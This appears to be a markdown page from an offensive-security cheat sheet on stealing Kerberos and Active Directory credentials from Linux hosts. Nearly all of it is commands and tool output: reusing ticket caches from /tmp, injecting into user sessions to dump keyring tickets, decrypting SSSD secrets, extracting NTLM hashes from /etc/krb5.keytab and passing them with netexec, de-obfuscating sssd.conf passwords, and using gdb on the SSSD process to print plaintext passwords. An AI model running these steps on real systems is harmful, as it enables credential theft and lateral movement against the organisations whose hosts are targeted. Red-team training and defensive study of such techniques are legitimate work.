182 lines
6.4 KiB
Markdown
182 lines
6.4 KiB
Markdown
# Active Directory - Linux
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## CCACHE ticket reuse from /tmp
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> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
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List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
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```powershell
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$ ls /tmp/ | grep krb5cc
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krb5cc_1000
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krb5cc_1569901113
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krb5cc_1569901115
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$ export KRB5CCNAME=/tmp/krb5cc_1569901115
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```
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## CCACHE ticket reuse from keyring
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Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey
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```powershell
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# Configuration and build
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git clone https://github.com/TarlogicSecurity/tickey
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cd tickey/tickey
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make CONF=Release
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[root@Lab-LSV01 /]# /tmp/tickey -i
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[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
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[+] root detected, so... DUMP ALL THE TICKETS!!
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[*] Trying to inject in tarlogic[1000] session...
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[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
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[*] Trying to inject in velociraptor[1120601115] session...
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[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
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[*] Trying to inject in trex[1120601113] session...
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[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
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[X] [uid:0] Error retrieving tickets
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```
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## CCACHE ticket reuse from SSSD KCM
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System Security Services Daemon (SSSD) maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`.
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The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`.
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By default, the key is only readable if you have **root** permissions.
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Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.
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```powershell
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git clone https://github.com/fireeye/SSSDKCMExtractor
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python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
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```
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The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.
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## CCACHE ticket reuse from keytab
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```powershell
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git clone https://github.com/its-a-feature/KeytabParser
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python KeytabParser.py /etc/krb5.keytab
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klist -k /etc/krb5.keytab
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```
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## Extract accounts from /etc/krb5.keytab
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The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
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Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user.
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```powershell
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$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
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[...]
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[26] Service principal: host/COMPUTER@DOMAIN
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KVNO: 25
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Key type: 23
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Key: 31d6cfe0d16ae931b73c59d7e0c089c0
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Time stamp: Oct 07, 2019 09:12:02
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[...]
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```
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On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.
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```powershell
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$ python3 keytabextract.py krb5.keytab
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[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
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[+] Keytab File successfully imported.
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REALM : DOMAIN
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SERVICE PRINCIPAL : host/computer.domain
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NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
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```
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On macOS you can use `bifrost`.
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```powershell
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./bifrost -action dump -source keytab -path test
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```
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Connect to the machine using the account and the hash with CME.
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```powershell
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$ netexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
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10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
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```
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## Extract accounts from /etc/sssd/sssd.conf
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> sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf
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The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password".
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```ini
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[sssd]
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config_file_version = 2
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...
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[domain/LDAP]
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...
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ldap_uri = ldap://127.0.0.1
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ldap_search_base = ou=People,dc=srv,dc=world
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ldap_default_authtok_type = obfuscated_password
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ldap_default_authtok = [BASE64_ENCODED_TOKEN]
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```
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De-obfuscate the content of the ldap_default_authtok variable with [mludvig/sss_deobfuscate](https://github.com/mludvig/sss_deobfuscate)
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```ps1
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./sss_deobfuscate [ldap_default_authtok_base64_encoded]
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./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
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```
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## Extract accounts from SSSD keyring
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**Requirements**:
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* `krb5_store_password_if_offline = True` in `/etc/sssd/sssd.conf`
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**Exploit**:
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When `krb5_store_password_if_offline` is enabled, the AD password is stored plaintext.
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```ps1
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[domain/domain.local]
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cache_credentials = True
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ipa_domain = domain.local
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id_provider = ipa
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auth_provider = ipa
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access_provider = ipa
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chpass_provider = ipa
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ipa_server = _srv_, server.domain.local
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krb5_store_password_if_offline = true
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```
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Grab the PID of the SSSD process and hook it in `gdb`. Then list the process keyrings.
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```ps1
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gdb -p <PID_OF_SSSD>
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call system("keyctl show > /tmp/output")
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```
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From the `/tmp/output` locate the `key_id` for the user you want.
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```ps1
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Session Keyring
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237034099 --alswrv 0 0 keyring: _ses
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689325199 --alswrv 0 0 \_ user: user@domain.local
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```
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Back to GDB:
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```ps1
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call system("keyctl print 689325199 > /tmp/output")
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```
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## References
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* [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html)
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* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/)
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* [20.4. Caching Kerberos Passwords - Red Hat Customer Portal](https://access.redhat.com/documentation/fr-fr/red_hat_enterprise_linux/6/html/identity_management_guide/kerberos-pwd-cache) |